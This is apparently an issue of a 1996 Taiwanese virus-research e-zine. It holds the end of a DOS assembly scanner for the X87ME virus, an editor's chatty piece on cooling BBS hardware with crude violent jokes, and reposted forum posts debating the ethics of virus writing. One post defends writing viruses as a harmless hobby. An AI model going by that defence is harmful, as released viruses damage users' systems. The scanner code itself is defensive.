cid_c3:
and ah,00000111b
cmp ah,dh
jnz cid_c1
mov ah,09h
mov dx,OFFSET msg_3
int 21h
stc
ret
reg_tab db 1000b ; ax
db 1000b ; cx
db 1000b ; dx
db 111b ; bx
db 1000b ; sp
db 110b ; bp
db 100b ; si
db 101b ; di
print_version:
mov ah,09h
mov dx,OFFSET msg_ver
int 21h
ret
print_filename:
mov ah,09h
mov dx,OFFSET msg_1
int 21h
mov si,OFFSET dta+1eh
mov di,ds:filename_addr
path_end?:
cmp di,OFFSET para
jz path_end
cmp byte ptr ds:[di-01h],'\'
jz path_end
dec di
jmp path_end?
path_end:
mov dx,OFFSET para
mov cx,12
not_eon:
lodsb
or al,al
jz eon
stosb
loop not_eon
eon:
mov al,'$'
stosb
mov ah,09h
int 21h
mov ah,09h
mov dx,OFFSET msg_2
int 21h
ret
print_x87me_vir:
mov ah,09h
mov dx,OFFSET msg_3
int 21h
ret
msg_ver db 0dh,0ah
db '                            ',0dh,0ah
db ' TPVO Scanner v1.0 By Golden Cicada, 1996. ,0dh,0ah
db '                            ',0dh,0ah
db 0dh,0ah,'$'
msg_1 db 0dh,'Scanning file [ ','$'
msg_2 db ' ] ... ','$'
msg_3 db 'Found [X87ME] virus!!!',0dh,0ah,'$'
msg_4 db 0dh,78 dup(20h)
msg_5 db 0dh,0ah,'$'
msg_6 db ' Usage : ',0dh,0ah
db ' C:\> scn c:\*.* ',0dh,0ah
db ' C:\> scn c:\dos6\*.* ',0dh,0ah,'$'
filename_addr dw ?
file_size dw ?
para db 80h dup(00h)
dta db 80h dup(00h)
buffer:
end begin
--
OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel
v v
e 台湾威力病毒研究组织 第 四 期 杂志 P.001 e
l [聊天] l
O O
v 掰掰杨 Bill Yang v
e E-Mail: None e
l l
OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel
大家好:
第四期杂志终于要出刊了(好久才一次),而我将在这两个月就要去当
兵了,尝尝(转大人)的滋味....哇哈哈哈....
OK....废话别太多,相信大家一定会想要知道本组织站台的设备状况
如何...我去当兵的时后会不会倒站呢??如果你认为会,那你就要仔细
的看清楚了.
站台设备:

386DX-40

486DX4-120 = OVEL BBS

NOVELL LITE

有些人看到这样的设备一定会直摇头,说:唉...他XX的,都啥时代了,还在
用一堆古董....
这种家伙,真可以绑起来滴蜡 反省一下...
为甚么还在搞那种古董货,理由很多,第一.BBS 不需要用到很好的设备就可
以跑的很顺,还不懂吗??来..先鞭打你几下你就会懂了....
第二.我对系统的要求为稳定性及可靠度要高,越多配备就越容易出槌.
第三.站长从高一起就是自己赚钱供自己吃喝嫖赌,又玩音响又玩车...
呵呵呵...就是没钱啦!!
BUT
强就是强在这点...安全性!!
啥东西啊??就是在环境上的控制下手,例如温度,机箱通风,电压,电流负载控制
不断电系统....
很多人在买电脑的时后,常常会去注意 CASE 的外观美不美啊!有没有流线造型
灯光多不多啊..等等,坦白说,你是去买电脑还是买女人啊??通常来说,美观的
CASE 包的比较紧,也有所为的小直立等等的型式,但是那种CASE有一个致命伤
就是机箱内温度过高,容易当机,由其是现在的 CPU 速度越来越高,相对的温度
也越高,简直可以做铁板烧(这是个好点子,不知道是否有 奔腾铁板炉电脑 )
举个例子.
现在室外温为 33度C,室内温为 34度C,那以本站 486的机器来说
内部温度都大概保持比室内温高 4度C左右...哈哈,万一今日是入
夏以来最高温 36 - 37 度C,那你回家就准备抱电脑痛哭啦!!
以上的例子对一般想开站的后辈而言,不可不注意,通常很多莫明其妙的问题
都是过热引起的,这种也可以应用在超频的机器上还有没那么多钱换机器的人
身上.
再来向大家解说一下本站的做法..
由于 486 被定位在 SERVER 上,自然身上背的硬碟比 386 多,一共约有 3 部
硬碟,加上 CPU 本身从 DX4-100 超频至 DX4-120,自然整部 486 最热的部份
为 CPU -> HD -> POWERSUPPLY ,之前说过了机箱内部温度比室内温高 4度C
于是我们先从小部份著手,首先是将 CPU 背上(冷气机)就是致冷器,再来就是
将 HD 前的塑胶盖子取下,记注!!最好不要用(硬碟抽取盒)这玩意散热之差实
在无法苟同,接著去掉 POWERSUPPLY 的外壳(这一部份不建议不懂电的USER做
,因为现在的 SW POWER 内部几乎都是高压,被电到轻者性无能,重者魂归西方)
为何要去掉铁盖,因为要让 POWER中的风扇达到最好的效率,不过 POWER 的高频
干扰蛮强的,对男人可能不太好.....
OK....再来就是 CASE 的选择了,这点很简单,那就是找背后还有风扇开口的CASE
买个风扇装上去,记得,将机箱内的空气抽出来,其散热效率较好...
还有一个小秘诀,小学就会的原理,不懂的请自己弹自己小弟 100下反省反省..
看图说故事:
┌─────┐
│ -> HOT AIR
│ │
│ -> HOT AIR
│ │
│ │
COOL AIR -> │
└─────┘
够简单吧??一看就懂了...
其它的地方就看各人的造化啦....
接下来就是介绍本站机器的环境....(告诉你本站的机器全部都超频...)
介绍一下站长的房间....
窗户
┌──────┬── ──┬─────┐
│ │ │ │
│ 电脑 │ 书桌 │ 音响 │
├──────┴──────┴─────┤
│┌─┐ ┌─┐│
││ │ <- 喇叭 -> │ ││
│└─┘ └─┘│
│ │
│ │
│ ┌─────────┐ │
│ │ │ │
│ │ │ │
├──┐│ │ │
│ ││ └┬┘ │ │
│ 衣 ││ │ <- 女人 │ │
│ ││ ┌┼┘ │ │
│ ││ │ │ │
│ ││ │ │
│ 柜 ││ │
│ ││ │ 门口
│ ││ │
└──┴┴─────────┴─────┘
一目了然了吧??房间的部份就较简单,在窗口加排风扇即可....
剩下的电流过载保护已经在进行电路的设计中,大概九月会做出来
,其主要功能为,自动侦测电线温度,避免过热破皮短路起火,自动侦
测电流量(可经由电脑设定)超过设定的功率时即切断电源,其电路是
设计与电脑搭配使用,就是说是电脑在侦测及控制一切...........
设计这个电路的用意:怕我家起火...
附注一点:好用的话,我说不定会拿来卖....哈哈哈
以上提供大家作的参考,虽然本站不只这么点防护,但是我打的好累,
只好挑重点啦...

后记兼打屁
记得以前有人说了这样的一句话:OVEL 的 BILL YANG 很无能,是个废物...
这位老兄还真爱说笑,我可是一个很内敛的人,我的才能不会随便披露....
俗话说的好:天妒英才....
说到这里,我实在很想将那位老兄绑在柱子上,用刀子把他身上画成一道一道
的伤口,再用盐巴抹一抹,再用我的皮带鞭打一番,蜡 滴一滴,扁一扁,再让我
家的狗洒泡尿.......凌虐一番....啊!!抱歉,我忘了这是杂志,不是 SM 教室.

最后....向大家说声珍重,我即将要当兵去了,但是请记住[I WILL BE BACK]
我不会放过你们的.....哈哈哈哈哈

OVEL,TP BILL YANG
杨化民 1996/08/24
OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel
v v
e 台湾威力病毒研究组织 第 四 期 杂志 P.002 e
l [聊天] l
O O
v 摘录自 Tanet Dark Killer v
e E-Mail: None e
l l
OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel
以下是摘录自 Tanet 上病毒版, 资料来源: bbs.cs.ccu.edu.tw
Hongzen (Hunter) => ??
Megadeth (Dark Slayer) => Dark Slayer (MacGyver 系列作者)
PeterFerng (好可怜的Peter) => Peter Ferng (VT、PTAV 作者)
───────────────────────────────────────
发信人: Hongzen.bbs@bbs.iljhs.il (Hunter), 信区: virus
标 题: 防毒有感
发信站: 宜兰资教 山水兰阳 (Sat Aug 24 16:08:17 1996)
转信站: Firebird!news.cs.ccu!suncc.ccu!news.cc.nctu!news.ee.ntit!netnews.ntu!i
出 处: @bbs.iljhs.il.edu.tw
早在民国77年时, 我曾在倚天杂志、电子情报等发表过数篇防治病毒的文章,
但后来我放弃了, 因为我直觉到那是一个无底洞,
现在我庆幸当时作了明智的抉择!
现在,我的电脑没有安装任何防毒的软体, 但历经数年, 依然平安!
为什么呢?
因为我熟悉组合语言和一些dos的功能呼叫!
纵有virus侵入我的电脑, 到目前为止还未能存活超过三天!!!
唉! 学低阶的组合语言, 不是人人能通!
因为有virus时, 我的直觉很快便告诉我『好像该检查一下系统了!』
我只用debug便可把virus清除得乾乾净净!(当然要用组合语言写一些disk I/O小程式)
这是凭经验, 无法明言!
我很沈痛的说:
今天的virus写作者若不是心理变态, 便是利欲薰心的丧心病狂者!!!
这些人挑上了一般电脑使用者, 大多不懂组合语言和系统核心,
挑软的好欺负,满足了自己的虐待变态心理, 顺便造福(虐待)了防毒写作者!
败坏天良至极啊!!!
唉! 学低阶的组合语言, 不是人人能通!
拜托病毒写作者不要再自作孽了,(我深信这些人也常阅览此板)
───────────────────────────────────────
发信人: Megadeth.bbs@cis.nctu (Dark Slayer), 信区: virus
标 题: 无题
发信站: 交大资科_BBS (Sat Aug 24 20:57:35 1996)
转信站: Firebird!news.cs.ccu!suncc.ccu!news.csie.nctu!news.cis.nctu!cis_nctu
出 处: 140.112.6.250
关于病毒... 我是有一些厌倦了... 因为大部份该玩的都玩过了...
该写的也都写过了... 但是我还是想说
病毒并不是一无可取, 看到病毒就骂的人实在有必要调整一下自己的
心态, 你们想骂的是那些曾感染过你的硬碟甚至破坏的毒... 但是...
你要考虑到也有许多毒是乖乖的在病毒作者的硬碟里啊...
我们写毒... 发表在杂志上, 这样你们也要骂!!! 说啥居心不良... 等
, ok! 在杂志上发表的每一只毒都附解毒程式... 你们还是有话说...
"写这东西有啥好处???"
当画家有啥好处? 当作家有啥好处? 除非等你出名之后... 才能大赚特
赚... 打篮球有啥好处? 锻练身体... 好玩... 厉害的话当国手还可以
捞一笔...
写毒有啥好处? 出名之后又不能捞钱... 还不是为了兴趣... 可以问问
peter ferng , 他也是有过一段对病毒狂热的时候...
暂时撇开道德不说, 这不过是一种写程式的乐趣, 建意所有病毒作者,
不要把你的毒放出去害到别人, 甚至最好为你的毒写解毒程式以防万一
我还做啥事呢? 打混吧...
, 这样的话... 好好的享受你对病毒的乐趣, 不要写破坏性病毒... 也
不要去鸟那些卫道偏激人士的漫骂... 只要你遵守原则
说到写毒... 谈谈我自己的感觉吧!!!
一开始写毒是因为在某些病毒上看到一些技巧, 这些技巧有助于使我对
于系统更了解, 也许是因为我的好奇心特强吧... 从小就喜欢拆一些电
器、机械装置之类的... 所以对这些东西特别有兴趣... 那时后我强烈
的迷上病毒, 买了一些书 (感探国内对于实际系统讨论的书特少, 都是
一堆理论) , 于是进入了我的作业系统探险之旅, 我会试看看这个位址
改成某个值会怎样... 那个呼叫在所有的资料上都找不到, 试看看它是
用来做啥? 自己 trace... 等, 有点类似寻宝游戏之类的...
对某些人来说, 病毒的确很迷人... 如果在不危害他人的情况下, 我们
不应该禁止病毒的写作、技术发表... 讨论... 等
不过现在的我已经没有当时的狂热, 但是我还是肯定病毒的价值...
(或者说是它的休闲余乐性, 但是也许你不以为然)
PS: 我现在都在干嘛呢? 搞音乐... 玩吉它... :)
也把 PM 摸熟了... 写了个类似 s-ice 的东东 ;>
我还做啥事呢? 打混吧...
───────────────────────────────────────
发信人: PeterFerng.bbs@cis.nctu (好可怜的Peter), 信区: virus
标 题: Re: 无题
发信站: 交大资科_BBS (Sun Aug 25 02:07:43 1996)
转信站: Firebird!news.cs.ccu!suncc.ccu!news.cc.nctu!news.cis.nctu!cis_nctu
出 处: a237144.nctu.edu.tw
> 写毒有啥好处? 出名之后又不能捞钱... 还不是为了兴趣... 可以问问
> peter ferng , 他也是有过一段对病毒狂热的时候...
往事不堪回首!但从不后悔走过........
> PS: 我现在都在干嘛呢? 搞音乐... 玩吉它... :)
> 也把 PM 摸熟了... 写了个类似 s-ice 的东东 ;>
有没有想过丢出来让大家知道台湾人也能写得出来......
> 我还做啥事呢? 打混吧...
没有兴趣玩 UNIX .... 我现在迷上 Linux 了......:)


--
※ 来源:.荔园晨风BBS站WWW bbs.szu.edu.cn. [FROM: 192.168.0.118]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店